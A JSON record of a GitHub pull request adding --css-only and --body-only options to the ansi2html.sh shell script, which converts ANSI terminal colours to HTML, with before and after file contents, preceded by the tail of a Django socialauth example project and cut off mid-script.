'socialauth.auth_backends.FacebookBackend',\n    'socialauth.auth_backends.LinkedInBackend',\n    'socialauth.auth_backends.GithubBackend',\n    'socialauth.auth_backends.FoursquareBackend',\n)\n", "example_project/manage.py": "#!/usr/bin/env python\nfrom django.core.management import execute_manager\ntry:\n    import settings # Assumed to be in the same directory.\nexcept ImportError:\n    import sys\n    sys.stderr.write(\"Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\\nYou'll have to run django-admin.py, passing it your settings module.\\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\\n\" % __file__)\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    execute_manager(settings)\n"}}
{"repo": "pixelb/scripts", "pr_number": 19, "title": "Add --css-only and --body-only args", "state": "closed", "merged_at": null, "additions": 66, "deletions": 51, "files_changed": ["scripts/ansi2html.sh"], "files_before": {"scripts/ansi2html.sh": "#!/bin/sh\n\n# Convert ANSI (terminal) colours and attributes to HTML\n\n# Licence: LGPLv2\n# Author:\n#    http://www.pixelbeat.org/docs/terminal_colours/\n# Examples:\n#    ls -l --color=always | ansi2html.sh > ls.html\n#    git show --color | ansi2html.sh > last_change.html\n#    Generally one can use the `script` util to capture full terminal output.\n# Changes:\n#    V0.1, 24 Apr 2008, Initial release\n#    V0.2, 01 Jan 2009, Phil Harnish <philharnish@gmail.com>\n#                         Support `git diff --color` output by\n#                         matching ANSI codes that specify only\n#                         bold or background colour.\n#                       P@draigBrady.com\n#                         Support `ls --color` output by stripping\n#                         redundant leading 0s from ANSI codes.\n#                         Support `grep --color=always` by stripping\n#                         unhandled ANSI codes (specifically ^[[K).\n#    V0.3, 20 Mar 2009, http://eexpress.blog.ubuntu.org.cn/\n#                         Remove cat -v usage which mangled non ascii input.\n#                         Cleanup regular expressions used.\n#                         Support other attributes like reverse, ...\n#                       P@draigBrady.com\n#                         Correctly nest <span> tags (even across lines).\n#                         Add a command line option to use a dark background.\n#                         Strip more terminal control codes.\n#    V0.4, 17 Sep 2009, P@draigBrady.com\n#                         Handle codes with combined attributes and color.\n#                         Handle isolated <bold> attributes with css.\n#                         Strip more terminal control codes.\n#    V0.23, 22 Dec 2015\n#      http://github.com/pixelb/scripts/commits/master/scripts/ansi2html.sh\n\ngawk --version >/dev/null || exit 1\n\nif [ \"$1\" = \"--version\" ]; then\n    printf '0.22\\n' && exit\nfi\n\nif [ \"$1\" = \"--help\" ]; then\n    printf '%s\\n' \\\n'This utility converts ANSI codes in data passed to stdin\nIt has 2 optional parameters:\n   --bg=dark --palette=linux|solarized|tango|xterm\nE.g.: ls -l --color=always | ansi2html.sh --bg=dark > ls.html' >&2\n    exit\nfi\n\n[ \"$1\" = \"--bg=dark\" ] && { dark_bg=yes; shift; }\n\nif [ \"$1\" = \"--palette=solarized\" ]; then\n   # See http://ethanschoonover.com/solarized\n   P0=073642;  P1=D30102;  P2=859900;  P3=B58900;\n   P4=268BD2;  P5=D33682;  P6=2AA198;  P7=EEE8D5;\n   P8=002B36;  P9=CB4B16; P10=586E75; P11=657B83;\n  P12=839496; P13=6C71C4; P14=93A1A1; P15=FDF6E3;\n  shift;\nelif [ \"$1\" = \"--palette=solarized-xterm\" ]; then\n   # Above mapped onto the xterm 256 color palette\n   P0=262626;  P1=AF0000;  P2=5F8700;  P3=AF8700;\n   P4=0087FF;  P5=AF005F;  P6=00AFAF;  P7=E4E4E4;\n   P8=1C1C1C;  P9=D75F00; P10=585858; P11=626262;\n  P12=808080; P13=5F5FAF; P14=8A8A8A; P15=FFFFD7;\n  shift;\nelif [ \"$1\" = \"--palette=tango\" ]; then\n   # Gnome default\n   P0=000000;  P1=CC0000;  P2=4E9A06;  P3=C4A000;\n   P4=3465A4;  P5=75507B;  P6=06989A;  P7=D3D7CF;\n   P8=555753;  P9=EF2929; P10=8AE234; P11=FCE94F;\n  P12=729FCF; P13=AD7FA8; P14=34E2E2; P15=EEEEEC;\n  shift;\nelif [ \"$1\" = \"--palette=xterm\" ]; then\n   P0=000000;  P1=CD0000;  P2=00CD00;  P3=CDCD00;\n   P4=0000EE;  P5=CD00CD;  P6=00CDCD;  P7=E5E5E5;\n   P8=7F7F7F;  P9=FF0000; P10=00FF00; P11=FFFF00;\n  P12=5C5CFF; P13=FF00FF; P14=00FFFF; P15=FFFFFF;\n  shift;\nelse # linux console\n   P0=000000;  P1=AA0000;  P2=00AA00;  P3=AA5500;\n   P4=0000AA;  P5=AA00AA;  P6=00AAAA;  P7=AAAAAA;\n   P8=555555;  P9=FF5555; P10=55FF55; P11=FFFF55;\n  P12=5555FF; P13=FF55FF; P14=55FFFF; P15=FFFFFF;\n  [ \"$1\" = \"--palette=linux\" ] && shift\nfi\n\n[ \"$1\" = \"--bg=dark\" ] && { dark_bg=yes; shift; }\n\n# Mac OSX's GNU sed is installed as gsed\n# use e.g. homebrew 'gnu-sed' to get it\nif ! sed --version >/dev/null 2>&1; then\n  if gsed --version >/dev/null 2>&1; then\n    alias sed=gsed\n  else\n    echo \"Error, can't find an acceptable GNU sed.\" >&2\n    exit 1\n  fi\nfi\n\nprintf '%s' \"<html>\n<head>\n<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=utf-8\\\"/>\n<style type=\\\"text/css\\\">\n.ef0,.f0 { color: #$P0; } .eb0,.b0 { background-color: #$P0; }\n.ef1,.f1 { color: #$P1; } .eb1,.b1 { background-color: #$P1; }\n.ef2,.f2 { color: #$P2; } .eb2,.b2 { background-color: #$P2; }\n.ef3,.f3 { color: #$P3; } .eb3,.b3 { background-color: #$P3; }\n.ef4,.f4 { color: #$P4; } .eb4,.b4 { background-color: #$P4; }\n.ef5,.f5 { color: #$P5; } .eb5,.b5 { background-color: #$P5; }\n.ef6,.f6 { color: #$P6; } .eb6,.b6 { background-color: #$P6; }\n.ef7,.f7 { color: #$P7; } .eb7,.b7 { background-color: #$P7; }\n.ef8, .f0 > .bold,.bold > .f0 { color: #$P8; font-weight: normal; }\n.ef9, .f1 > .bold,.bold > .f1 { color: #$P9; font-weight: normal; }\n.ef10,.f2 > .bold,.bold > .f2 { color: #$P10; font-weight: normal; }\n.ef11,.f3 > .bold,.bold > .f3 { color: #$P11; font-weight: normal; }\n.ef12,.f4 > .bold,.bold > .f4 { color: #$P12; font-weight: normal; }\n.ef13,.f5 > .bold,.bold > .f5 { color: #$P13; font-weight: normal; }\n.ef14,.f6 > .bold,.bold > .f6 { color: #$P14; font-weight: normal; }\n.ef15,.f7 > .bold,.bold > .f7 { color: #$P15; font-weight: normal; }\n.eb8  { background-color: #$P8; }\n.eb9  { background-color: #$P9; }\n.eb10 { background-color: #$P10; }\n.eb11 { background-color: #$P11; }\n.eb12 { background-color: #$P12; }\n.eb13 { background-color: #$P13; }\n.eb14 { background-color: #$P14; }\n.eb15 { background-color: #$P15; }\n\"\n\n# The default xterm 256 colour palette\nfor red in 0 1 2 3 4 5 ; do\n  for green in 0 1 2 3 4 5 ; do\n    for blue in 0 1 2 3 4 5 ; do\n      c=$((16 + ($red * 36) + ($green * 6) + $blue))\n      r=$((($red * 40 + 55) * ($red > 0)))\n      g=$((($green * 40 + 55) * ($green > 0)))\n      b=$((($blue * 40 + 55) * ($blue > 0)))\n      printf \".ef%d { color: #%2.2x%2.2x%2.2x; } \" $c $r $g $b\n      printf \".eb%d { background-color: #%2.2x%2.2x%2.2x; }\\n\" $c $r $g $b\n    done\n  done\ndone\nfor gray in $(seq 0 23); do\n  c=$(($gray+232))\n  l=$(($gray*10 + 8))\n  printf \".ef%d { color: #%2.2x%2.2x%2.2x; } \" $c $l $l $l\n  printf \".eb%d { background-color: #%2.2x%2.2x%2.2x; }\\n\" $c $l $l $l\ndone\n\nprintf '%s' '\n.f9 { color: '`[ \"$dark_bg\" ] && printf \"#$P7;\" || printf \"#$P0;\"`' }\n.b9 { background-color: #'`[ \"$dark_bg\" ] && printf $P0 || printf $P15`'; }\n.f9 > .bold,.bold > .f9, body.f9 > pre > .bold {\n  /* Bold is heavy black on white, or bright white\n     depending on the default background */\n  color: '`[ \"$dark_bg\" ] && printf \"#$P15;\" || printf \"#$P0;\"`'\n  font-weight: '`[ \"$dark_bg\" ] && printf 'normal;' || printf 'bold;'`'\n}\n.reverse {\n  /* CSS does not support swapping fg and bg colours unfortunately,\n     so just hardcode something that will look OK on all backgrounds. */\n  '\"color: #$P0; background-color: #$P7;\"'\n}\n.underline { text-decoration: underline; }\n.line-through { text-decoration: line-through; }\n.blink { text-decoration: blink; }\n\n/* Avoid pixels between adjacent span elements.\n   Note this only works for lines less than 80 chars\n   where we close span elements on the same line.\nspan { display: inline-block; }\n*/\n</style>\n</head>\n\n<body class=\"f9 b9\">\n<pre>\n'\n\np='\\x1b\\['        #shortcut to match escape codes\n\n# Handle various xterm control sequences.\n# See /usr/share/doc/xterm-*/ctlseqs.txt\nsed \"\n# escape ampersand and quote\ns#&#\\&amp;#g; s#\\\"#\\&quot;#g;\ns#\\x1b[^\\x1b]*\\x1b\\\\\\##g  # strip anything between \\e and ST\ns#\\x1b][0-9]*;[^\\a]*\\a##g # strip any OSC (xterm title etc.)\n\ns#\\r\\$## # strip trailing \\r\n\n# strip other non SGR escape sequences\ns#[\\x07]##g\ns#\\x1b[]>=\\][0-9;]*##g\ns#\\x1bP+.\\{5\\}##g\n# Mark cursor positioning codes \\\"Jr;c;\ns#${p}\\([0-9]\\{1,2\\}\\)G#\\\"J;\\1;#g\ns#${p}\\([0-9]\\{1,2\\}\\);\\([0-9]\\{1,2\\}\\)H#\\\"J\\1;\\2;#g\n\n# Mark clear as \\\"Cn where n=1 is screen and n=0 is to end-of-line\ns#${p}H#\\\"C1;#g\ns#${p}K#\\\"C0;#g\n# Mark Cursor move columns as \\\"Mn where n is +ve for right, -ve for left\ns#${p}C#\\\"M1;#g\ns#${p}\\([0-9]\\{1,\\}\\)C#\\\"M\\1;#g\ns#${p}\\([0-9]\\{1,\\}\\)D#\\\"M-\\1;#g\ns#${p}\\([0-9]\\{1,\\}\\)P#\\\"X\\1;#g\n\ns#${p}[0-9;?]*[^0-9;?m]##g\n\n\" |\n\n# Normalize the input before transformation\nsed \"\n# escape HTML (ampersand and quote done above)\ns#>#\\&gt;#g; s#<#\\&lt;#g;\n\n# normalize SGR codes a little\n\n# split 256 colors out and mark so that they're not\n# recognised by the following 'split combined' line\n:e\ns#${p}\\([0-9;]\\{1,\\}\\);\\([34]8;5;[0-9]\\{1,3\\}\\)m#${p}\\1m${p}\u00ac\\2m#g; t e\ns#${p}\\([34]8;5;[0-9]\\{1,3\\}\\)m#${p}\u00ac\\1m#g;\n\n:c\ns#${p}\\([0-9]\\{1,\\}\\);\\([0-9;]\\{1,\\}\\)m#${p}\\1m${p}\\2m#g; t c   # split combined\ns#${p}0\\([0-7]\\)#${p}\\1#g                                 #strip leading 0\ns#${p}1m\\(\\(${p}[4579]m\\)*\\)#\\1${p}1m#g                   #bold last (with clr)\ns#${p}m#${p}0m#g                                          #add leading 0 to norm\n\n# undo any 256 color marking\ns#${p}\u00ac\\([34]8;5;[0-9]\\{1,3\\}\\)m#${p}\\1m#g;\n\n# map 16 color codes to color + bold\ns#${p}9\\([0-7]\\)m#${p}3\\1m${p}1m#g;\ns#${p}10\\([0-7]\\)m#${p}4\\1m${p}1m#g;\n\n# change 'reset' code to \\\"R\ns#${p}0m#\\\"R;#g\n\" |\n\n# Convert SGR sequences to HTML\nsed \"\n# common combinations to minimise html (optional)\n:f\ns#${p}3[0-7]m${p}3\\([0-7]\\)m#${p}3\\1m#g; t f\n:b\ns#${p}4[0-7]m${p}4\\([0-7]\\)m#${p}4\\1m#g; t b\ns#${p}3\\([0-7]\\)m${p}4\\([0-7]\\)m#<span class=\\\"f\\1 b\\2\\\">#g\ns#${p}4\\([0-7]\\)m${p}3\\([0-7]\\)m#<span class=\\\"f\\2 b\\1\\\">#g\n\ns#${p}1m#<span class=\\\"bold\\\">#g\ns#${p}4m#<span class=\\\"underline\\\">#g\ns#${p}5m#<span class=\\\"blink\\\">#g\ns#${p}7m#<span class=\\\"reverse\\\">#g\ns#${p}9m#<span class=\\\"line-through\\\">#g\ns#${p}3\\([0-9]\\)m#<span class=\\\"f\\1\\\">#g\ns#${p}4\\([0-9]\\)m#<span class=\\\"b\\1\\\">#g\n\ns#${p}38;5;\\([0-9]\\{1,3\\}\\)m#<span class=\\\"ef\\1\\\">#g\ns#${p}48;5;\\([0-9]\\{1,3\\}\\)m#<span class=\\\"eb\\1\\\">#g\n\ns#${p}[0-9;]*m##g # strip unhandled codes\n\" |\n\n# Convert alternative character set and handle cursor movement codes\n# Note we convert here, as if we do at start we have to worry about avoiding\n# conversion of SGR codes etc., whereas doing here we only have to\n# avoid conversions of stuff between &...; or <...>\n#\n# Note we could use sed to do this based around:\n#   sed 'y/abcdefghijklmnopqrstuvwxyz{}`~/\u2592\u2409\u240c\u240d\u240a\u00b0\u00b1\u2424\u240b\u2518\u2510\u250c\u2514\u253c\u23ba\u23bb\u2500\u23bc\u23bd\u251c\u2524\u2534\u252c\u2502\u2264\u2265\u03c0\u00a3\u25c6\u00b7/'\n# However that would be very awkward as we need to only conv some input.\n# The basic scheme that we do in the awk script below is:\n#  1. enable transliterate once \"T1; is seen\n#  2. disable once \"T0; is seen (may be on diff line)\n#  3. never transliterate between &; or <> chars\n#  4. track x,y movements and active display mode at each position\n#  5. buffer line/screen and dump when required\nsed \"\n# change 'smacs' and 'rmacs' to \\\"T1 and \\\"T0 to simplify matching.\ns#\\x1b(0#\\\"T1;#g;\ns#\\x0E#\\\"T1;#g;\n\ns#\\x1b(B#\\\"T0;#g\ns#\\x0F#\\\"T0;#g\n\" |\n(\ngawk '\nfunction dump_line(l,del,c,blanks,ret) {\n  for(c=1;c<maxX;c++) {\n    if ((c SUBSEP l) in attr || length(cur)) {\n      ret = ret blanks fixas(cur,attr[c,l])\n      if(del) delete attr[c,l]\n      blanks=\"\"\n    }\n    if ((c SUBSEP l) in dump) {\n      ret=ret blanks dump[c,l]\n      if(del) delete dump[c,l]\n      blanks=\"\"\n    } else blanks=blanks \" \"\n  }\n  if(length(cur)) ret=ret blanks\n  return ret\n}\n\nfunction dump_screen(l,ret) {\n  for(l=1;l<=maxY;l++)\n    ret=ret dump_line(l,0) \"\\n\"\n  return ret fixas(cur, \"\")\n}\n\nfunction atos(a,i,ret) {\n  for(i=1;i<=length(a);i++) if(i in a) ret=ret a[i]\n  return ret\n}\n\nfunction fixas(a,s,spc,i,attr,rm,ret) {\n  spc=length(a)\n  l=split(s,attr,\">\")\n  for(i=1;i<=spc;i++) {\n    rm=rm?rm:(a[i]!=attr[i]\">\")\n    if(rm) {\n      ret=ret \"</span>\"\n      delete a[i];\n    }\n  }\n  for(i=1;i<l;i++) {\n    attr[i]=attr[i]\">\"\n    if(a[i]!=attr[i]) {\n      a[i]=attr[i]\n      ret = ret attr[i]\n    }\n  }\n  return ret\n}\n\nfunction encode(string,start,end,i,ret,pos,sc,buf) {\n   if(!end) end=length(string);\n   if(!start) start=1;\n   state=3\n   for(i=1;i<=length(string);i++) {\n     c=substr(string,i,1)\n     if(state==2) {\n       sc=sc c\n       if(c==\";\") {\n          c=sc\n          state=last_mode\n       } else continue\n     } else {\n       if(c==\"\\r\") { x=1; continue }\n       if(c==\"<\") {\n         # Change attributes - store current active\n         # attributes in span array\n         split(substr(string,i),cord,\">\");\n         i+=length(cord[1])\n         span[++spc]=cord[1] \">\"\n         continue\n       }\n       else if(c==\"&\") {\n         # All goes to single position till we see a semicolon\n         sc=c\n         state=2\n         continue\n       }\n       else if(c==\"\\b\") {\n          # backspace move insertion point back 1\n          if(spc) attr[x,y]=atos(span)\n          x=x>1?x-1:1\n          continue\n       }\n       else if(c==\"\\\"\") {\n          split(substr(string,i+2),cord,\";\")\n          cc=substr(string,i+1,1);\n          if(cc==\"T\") {\n              # Transliterate on/off\n              if(cord[1]==1&&state==3) last_mode=state=4\n              if(cord[1]==0&&state==4) last_mode=state=3\n          }\n          else if(cc==\"C\") {\n              # Clear\n              if(cord[1]+0) {\n                # Screen - if Recording dump screen\n                if(dumpStatus==dsActive) ret=ret dump_screen()\n                dumpStatus=dsActive\n                delete dump\n                delete attr\n                x=y=1\n              } else {\n                # To end of line\n                for(pos=x;pos<maxX;pos++) {\n                  dump[pos,y]=\" \"\n                  if (!spc) delete attr[pos,y]\n                  else attr[pos,y]=atos(span)\n                }\n              }\n          }\n          else if(cc==\"J\") {\n              # Jump to x,y\n              i+=length(cord[2])+1\n              # If line is higher - dump previous screen\n              if(dumpStatus==dsActive&&cord[1]<y) {\n                ret=ret dump_screen();\n                dumpStatus=dsNew;\n              }\n              x=cord[2]\n              if(length(cord[1]) && y!=cord[1]){\n                y=cord[1]\n                if(y>maxY) maxY=y\n                # Change y - start recording\n                dumpStatus=dumpStatus?dumpStatus:dsReset\n              }\n          }\n          else if(cc==\"M\") {\n              # Move left/right on current line\n              x+=cord[1]\n          }\n          else if(cc==\"X\") {\n              # delete on right\n              for(pos=x;pos<=maxX;pos++) {\n                nx=pos+cord[1]\n                if(nx<maxX) {\n                  if((nx SUBSEP y) in attr) attr[pos,y] = attr[nx,y]\n                  else delete attr[pos,y]\n                  if((nx SUBSEP y) in dump) dump[pos,y] = dump[nx,y]\n                  else delete dump[pos,y]\n                } else if(spc) {\n                  attr[pos,y]=atos(span)\n                  dump[pos,y]=\" \"\n                }\n              }\n          }\n          else if(cc==\"R\") {\n              # Reset attributes\n              while(spc) delete span[spc--]\n          }\n          i+=length(cord[1])+2\n          continue\n       }\n       else if(state==4&&i>=start&&i<=end&&c in Trans) c=Trans[c]\n     }\n     if(dumpStatus==dsReset) {\n       delete dump\n       delete attr\n       ret=ret\"\\n\"\n       dumpStatus=dsActive\n     }\n     if(dumpStatus==dsNew) {\n       # After moving/clearing we are now ready to write\n       # somthing to the screen so start recording now\n       ret=ret\"\\n\"\n       dumpStatus=dsActive\n     }\n     if(dumpStatus==dsActive||dumpStatus==dsOff) {\n       dump[x,y] = c\n       if(!spc) delete attr[x,y]\n       else attr[x,y] = atos(span)\n       if(++x>maxX) maxX=x;\n     }\n    }\n    # End of line if dumping increment y and set x back to first col\n    x=1\n    if(!dumpStatus) return ret dump_line(y,1);\n    else if(++y>maxY) maxY=y;\n    return ret\n}\nBEGIN{\n  OFS=FS\n  # dump screen status\n  dsOff=0    # Not dumping screen contents just write output direct\n  dsNew=1    # Just after move/clear waiting for activity to start recording\n  dsReset=2  # Screen cleared build new empty buffer and record\n  dsActive=3 # Currently recording\n  F=\"abcdefghijklmnopqrstuvwxyz{}`~\"\n  T=\"\u2592\u2409\u240c\u240d\u240a\u00b0\u00b1\u2424\u240b\u2518\u2510\u250c\u2514\u253c\u23ba\u23bb\u2500\u23bc\u23bd\u251c\u2524\u2534\u252c\u2502\u2264\u2265\u03c0\u00a3\u25c6\u00b7\"\n  maxX=80\n  delete cur;\n  x=y=1\n  for(i=1;i<=length(F);i++)Trans[substr(F,i,1)]=substr(T,i,1);\n}\n\n{ $0=encode($0) }\n1\nEND {\n  if(dumpStatus) {\n    print dump_screen();\n  }\n}'\n)\n\nprintf '</pre>\n</body>\n</html>\\n'\n"}, "files_after": {"scripts/ansi2html.sh": "#!/bin/sh\n\n# Convert ANSI (terminal) colours and attributes to HTML\n\n# Licence: LGPLv2\n# Author:\n#    http://www.pixelbeat.org/docs/terminal_colours/\n# Examples:\n#    ls -l --color=always | ansi2html.sh > ls.html\n#    git show --color | ansi2html.sh > last_change.html\n#    Generally one can use the `script` util to capture full terminal output.\n# Changes:\n#    V0.1, 24 Apr 2008, Initial release\n#    V0.2, 01 Jan 2009, Phil Harnish <philharnish@gmail.com>\n#                         Support `git diff --color` output by\n#                         matching ANSI codes that specify only\n#                         bold or background colour.\n#                       P@draigBrady.com\n#                         Support `ls --color` output by stripping\n#                         redundant leading 0s from ANSI codes.\n#                         Support `grep --color=always` by stripping\n#                         unhandled ANSI codes (specifically ^[[K).\n#    V0.3, 20 Mar 2009, http://eexpress.blog.ubuntu.org.cn/\n#                         Remove cat -v usage which mangled non ascii input.\n#                         Cleanup regular expressions used.\n#                         Support other attributes like reverse, ...\n#                       P@draigBrady.com\n#                         Correctly nest <span> tags (even across lines).\n#                         Add a command line option to use a dark background.\n#                         Strip more terminal control codes.\n#    V0.4, 17 Sep 2009, P@draigBrady.com\n#                         Handle codes with combined attributes and color.\n#                         Handle isolated <bold> attributes with css.\n#                         Strip more terminal control codes.\n#    V0.23, 22 Dec 2015\n#      http://github.com/pixelb/scripts/commits/master/scripts/ansi2html.sh\n\ngawk --version >/dev/null || exit 1\n\nif [ \"$1\" = \"--version\" ]; then\n    printf '0.22\\n' && exit\nfi\n\nusage()\n{\nprintf '%s\\n' \\\n'This utility converts ANSI codes in data passed to stdin\nIt has 4 optional parameters:\n--bg=dark --palette=linux|solarized|tango|xterm [--css-only|--body-only]\nE.g.: ls -l --color=always | ansi2html.sh --bg=dark > ls.html' >&2\n    exit\n}\n\nif [ \"$1\" = \"--help\" ]; then\n    usage\nfi\n\nprocessArg()\n{\n    [ \"$1\" = \"--bg=dark\" ] && { dark_bg=yes; return; }\n    [ \"$1\" = \"--css-only\" ] && { css_only=yes; return; }\n    [ \"$1\" = \"--body-only\" ] && { body_only=yes; return; }\n    if [ \"$1\" = \"--palette=solarized\" ]; then\n       # See http://ethanschoonover.com/solarized\n       P0=073642;  P1=D30102;  P2=859900;  P3=B58900;\n       P4=268BD2;  P5=D33682;  P6=2AA198;  P7=EEE8D5;\n       P8=002B36;  P9=CB4B16; P10=586E75; P11=657B83;\n      P12=839496; P13=6C71C4; P14=93A1A1; P15=FDF6E3;\n      return;\n    elif [ \"$1\" = \"--palette=solarized-xterm\" ]; then\n       # Above mapped onto the xterm 256 color palette\n       P0=262626;  P1=AF0000;  P2=5F8700;  P3=AF8700;\n       P4=0087FF;  P5=AF005F;  P6=00AFAF;  P7=E4E4E4;\n       P8=1C1C1C;  P9=D75F00; P10=585858; P11=626262;\n      P12=808080; P13=5F5FAF; P14=8A8A8A; P15=FFFFD7;\n      return;\n    elif [ \"$1\" = \"--palette=tango\" ]; then\n       # Gnome default\n       P0=000000;  P1=CC0000;  P2=4E9A06;  P3=C4A000;\n       P4=3465A4;  P5=75507B;  P6=06989A;  P7=D3D7CF;\n       P8=555753;  P9=EF2929; P10=8AE234; P11=FCE94F;\n      P12=729FCF; P13=AD7FA8; P14=34E2E2; P15=EEEEEC;\n      return;\n    elif [ \"$1\" = \"--palette=xterm\" ]; then\n       P0=000000;  P1=CD0000;  P2=00CD00;  P3=CDCD00;\n       P4=0000EE;  P5=CD00CD;  P6=00CDCD;  P7=E5E5E5;\n       P8=7F7F7F;  P9=FF0000; P10=00FF00; P11=FFFF00;\n      P12=5C5CFF; P13=FF00FF; P14=00FFFF; P15=FFFFFF;\n      return;\n    else # linux console\n       P0=000000;  P1=AA0000;  P2=00AA00;  P3=AA5500;\n       P4=0000AA;  P5=AA00AA;  P6=00AAAA;  P7=AAAAAA;\n       P8=555555;  P9=FF5555; P10=55FF55; P11=FFFF55;\n      P12=5555FF; P13=FF55FF; P14=55FFFF; P15=FFFFFF;\n      [ \"$1\" = \"--palette=linux\" ] && return;\n    fi\n}\n\nprocessArg #defaults\nfor var in \"$@\"; do processArg $var; done\n[ \"$css_only\" ] && [ \"$body_only\" ] && usage\n\n# Mac OSX's GNU sed is installed as gsed\n# use e.g. homebrew 'gnu-sed' to get it\nif ! sed --version >/dev/null 2>&1; then\n  if gsed --version >/dev/null 2>&1; then\n    alias sed=gsed\n  else\n    echo \"Error, can't find an acceptable GNU sed.\" >&2\n    exit 1\n  fi\nfi\n\n[ \"$css_only\" ] || [ \"$body_only\" ] || printf '%s' \"<html>\n<head>\n<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=utf-8\\\"/>\n<style type=\\\"text/css\\\">\n\"\n[ \"$body_only\" ] || printf \".ef0,.f0 { color: #$P0; } .eb0,.b0 { background-color: #$P0; }\n.ef1,.f1 { color: #$P1; } .eb1,.b1 { background-color: #$P1; }\n.ef2,.f2 { color: #$P2; } .eb2,.b2 { background-color: #$P2; }\n.ef3,.f3 { color: #$P3; } .eb3,.b3 { background-color: #$P3; }\n.ef4,.f4 { color: #$P4; } .eb4,.b4 { background-color: #$P4; }\n.ef5,.f5 { color: #$P5; } .eb5,.b5 { background-color: #$P5; }\n.ef6,.f6 { color: #$P6; } .eb6,.b6 { background-color: #$P6; }\n.ef7,.f7 { color: #$P7; } .eb7,.b7 { background-color: #$P7; }\n.ef8, .f0 > .bold,.bold > .f0 { color: #$P8; font-weight: normal; }\n.ef9, .f1 > .bold,.bold > .f1 { color: #$P9; font-weight: normal; }\n.ef10,.f2 > .bold,.bold > .f2 { color: #$P10; font-weight: normal; }\n.ef11,.f3 > .bold,.bold > .f3 { color: #$P11; font-weight: normal; }\n.ef12,.f4 > .bold,.bold > .f4 { color: #$P12; font-weight: normal; }\n.ef13,.f5 > .bold,.bold > .f5 { color: #$P13; font-weight: normal; }\n.ef14,.f6 > .bold,.bold > .f6 { color: #$P14; font-weight: normal; }\n.ef15,.f7 > .bold,.bold > .f7 { color: #$P15; font-weight: normal; }\n.eb8  { background-color: #$P8; }\n.eb9  { background-color: #$P9; }\n.eb10 { background-color: #$P10; }\n.eb11 { background-color: #$P11; }\n.eb12 { background-color: #$P12; }\n.eb13 { background-color: #$P13; }\n.eb14 { background-color: #$P14; }\n.eb15 { background-color: #$P15; }\n\"\n# The default xterm 256 colour palette\nfor red in 0 1 2 3 4 5 ; do\n  for green in 0 1 2 3 4 5 ; do\n    for blue in 0 1 2 3 4 5 ; do\n      c=$((16 + ($red * 36) + ($green * 6) + $blue))\n      r=$((($red * 40 + 55) * ($red > 0)))\n      g=$((($green * 40 + 55) * ($green > 0)))\n      b=$((($blue * 40 + 55) * ($blue > 0)))\n      [ \"$body_only\" ] || printf \".ef%d { color: #%2.2x%2.2x%2.2x; } \" $c $r $g $b\n      [ \"$body_only\" ] || printf \".eb%d { background-color: #%2.2x%2.2x%2.2x; }\\n\" $c $r $g $b\n    done\n  done\ndone\nfor gray in $(seq 0 23); do\n  c=$(($gray+232))\n  l=$(($gray*10 + 8))\n  [ \"$body_only\" ] || printf \".ef%d { color: #%2.2x%2.2x%2.2x; } \" $c $l $l $l\n  [ \"$body_only\" ] || printf \".eb%d { background-color: #%2.2x%2.2x%2.2x; }\\n\" $c $l $l $l\ndone\n\n[ \"$body_only\" ] || printf '%s' '\n.f9 { color: '`[ \"$dark_bg\" ] && printf \"#$P7;\" || printf \"#$P0;\"`' }\n.b9 { background-color: #'`[ \"$dark_bg\" ] && printf $P0 || printf $P15`'; }\n.f9 > .bold,.bold > .f9, body.f9 > pre > .bold {\n  /* Bold is heavy black on white, or bright white\n     depending on the default background */\n  color: '`[ \"$dark_bg\" ] && printf \"#$P15;\" || printf \"#$P0;\"`'\n  font-weight: '`[ \"$dark_bg\" ] && printf 'normal;' || printf 'bold;'`'\n}\n.reverse {\n  /* CSS does not support swapping fg and bg colours unfortunately,\n     so just hardcode something that will look OK on all backgrounds. */\n  '\"color: #$P0; background-color: #$P7;\"'\n}\n.underline { text-decoration: underline; }\n.line-through { text-decoration: line-through; }\n.blink { text-decoration: blink; }\n\n/* Avoid pixels between adjacent span elements.\n   Note this only works for lines less than 80 chars\n   where we close span elements on the same line.\nspan { display: inline-block; }\n*/\n'\n[ \"$body_only\" ] || [ \"$css_only\" ] && printf '%s\\n' 'To use the css generated from --css-only, do: <head><link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\"></head>' >&2\n[ \"$css_only\" ] && exit\n[ \"$body_only\" ] || printf '%s' '</style>\n</head>\n\n<body class=\"f9 b9\">\n<pre>\n'\n[ \"$body_only\" ] && printf '%s\\n' 'Be sure to use <body class=\"f9 b9\"> and <pre>' >&2\n\np='\\x1b\\['        #shortcut to match escape codes\n\n# Handle various xterm control sequences.\n# See /usr/share/doc/xterm-*/ctlseqs.txt\nsed \"\n# escape ampersand and quote\ns#&#\\&amp;#g; s#\\\"#\\&quot;#g;\ns#\\x1b[^\\x1b]*\\x1b\\\\\\##g  # strip anything between \\e and ST\ns#\\x1b][0-9]*;[^\\a]*\\a##g # strip any OSC (xterm title etc.)\n\ns#\\r\\$## # strip trailing \\r\n\n# strip other non SGR escape sequences\ns#[\\x07]##g\ns#\\x1b[]>=\\][0-9;]*##g\ns#\\x1bP+.\\{5\\}##g\n# Mark cursor positioning codes \\\"Jr;c;\ns#${p}\\([0-9]\\{1,2\\}\\)G#\\\"J;\\1;#g\ns#${p}\\([0-9]\\{1,2\\}\\);\\([0-9]\\{1,2\\}\\)H#\\\"J\\1;\\2;#g\n\n# Mark clear as \\\"Cn where n=1 is screen and n=0 is to end-of-line\ns#${p}H#\\\"C1;#g\ns#${p}K#\\\"C0;#g\n# Mark Cursor move columns as \\\"Mn where n is +ve for right, -ve for left\ns#${p}C#\\\"M1;#g\ns#${p}\\([0-9]\\{1,\\}\\)C#\\\"M\\1;#g\ns#${p}\\([0-9]\\{1,\\}\\)D#\\\"M-\\1;#g\ns#${p}\\([0-9]\\{1,\\}\\)P#\\\"X\\1;#g\n\ns#${p}[0-9;?]*[^0-9;?m]##g\n\n\" |\n\n# Normalize the input before transformation\nsed \"\n# escape HTML (ampersand and quote done above)\ns#>#\\&gt;#g; s#<#\\&lt;#g;\n\n# normalize SGR codes a little\n\n# split 256 colors out and mark so that they're not\n# recognised by the following 'split combined' line\n:e\ns#${p}\\([0-9;]\\{1,\\}\\);\\([34]8;5;[0-9]\\{1,3\\}\\)m#${p}\\1m${p}\u00ac\\2m#g; t 